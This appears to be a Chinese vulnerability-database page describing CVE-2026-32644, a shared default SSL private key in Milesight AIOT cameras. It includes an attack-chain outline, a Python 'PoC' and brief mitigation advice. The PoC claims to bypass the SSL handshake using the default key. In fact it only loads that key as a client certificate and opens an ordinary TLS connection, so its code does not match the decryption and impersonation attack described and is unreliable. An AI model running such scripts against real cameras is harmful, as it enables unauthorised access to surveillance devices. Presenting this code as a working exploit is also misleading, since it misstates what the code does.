IPBUF安全漏洞报告
English
CVE-2026-32644 CVSS 9.8 严重

CVE-2026-32644 Milesight摄像头默认SSL私钥漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-32644
漏洞类型
硬编码凭证/默认密钥
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Milesight AIOT cameras

相关标签

硬编码密钥MilesightIoT漏洞SSL/TLS远程代码执行默认凭证

漏洞概述

Milesight AIOT 摄像头的特定固件版本中存在严重安全漏洞。由于设备使用了带有默认私钥的 SSL 证书,攻击者可以利用这些默认密钥解密流量或进行中间人攻击。该漏洞无需认证且无需用户交互即可通过网络远程利用,可能导致设备机密性、完整性和可用性的全面丧失。

技术细节

该漏洞的根本原因在于制造商在固件开发过程中未对出厂设备的 SSL/TLS 证书私钥进行唯一化处理,导致大量设备共享同一对默认私钥。攻击者可以通过逆向分析固件镜像或查阅公开的漏洞披露信息获取此默认私钥。一旦获取私钥,攻击者即可破解设备与客户端之间的加密通信通道,窃取敏感的视频流数据和账户凭证。此外,攻击者还可以利用该私钥伪造身份,向摄像头下发恶意指令,修改系统配置或导致设备瘫痪。由于 CVSS 评分为 9.8,该漏洞极易被自动化工具在互联网上大规模扫描和利用,对物联网安全构成极高威胁。

攻击链分析

STEP 1
信息收集
攻击者在互联网上扫描开放特定端口的Milesight AIOT摄像头设备。
STEP 2
资源获取
攻击者通过分析固件或漏洞披露文档获取设备默认的SSL私钥。
STEP 3
漏洞利用
使用获取的默认私钥建立与目标摄像头的加密连接,绕过安全验证。
STEP 4
数据窃取与控制
解密通信流量获取敏感信息,或冒充合法身份下发控制指令,接管设备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import ssl # PoC for CVE-2026-32644: Milesight Default SSL Key Usage # This script demonstrates connecting to a target device using a known default private key, # assuming the key has been extracted from the firmware. def exploit_default_ssl(target_ip, target_port, key_file, cert_file): print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Using default key: {key_file}") try: # Create a TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) # Create an SSL context and load the default credentials context = ssl.create_default_context() # Load the default certificate and private key context.load_cert_chain(certfile=cert_file, keyfile=key_file) # Optionally disable verification if the target uses a self-signed cert (common in IoT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE print("[*] Establishing SSL connection...") # Wrap the socket with SSL secure_sock = context.wrap_socket(sock, server_hostname=target_ip) secure_sock.connect((target_ip, target_port)) print("[+] Connection established successfully!") print("[+] SSL handshake bypassed using default credentials.") # Example interaction: Send a simple HTTP request payload = b"GET / HTTP/1.1\r\nHost: " + target_ip.encode() + b"\r\nConnection: close\r\n\r\n" secure_sock.send(payload) # Receive response response = secure_sock.recv(4096) print("[*] Response received:") print(response.decode(errors='ignore')) secure_sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target IP and path to extracted default key TARGET_IP = "192.168.1.100" TARGET_PORT = 443 DEFAULT_KEY = "milesight_default.key" DEFAULT_CERT = "milesight_default.crt" exploit_default_ssl(TARGET_IP, TARGET_PORT, DEFAULT_KEY, DEFAULT_CERT)

影响范围

Milesight AIOT cameras (特定固件版本)

防御指南

临时缓解措施
在无法立即升级固件的情况下,建议将设备隔离在内网中,禁止通过互联网直接访问。同时,应通过网络监控工具检测是否存在异常的SSL握手行为。管理员应定期检查设备日志,查看是否有未授权的登录尝试或配置更改记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表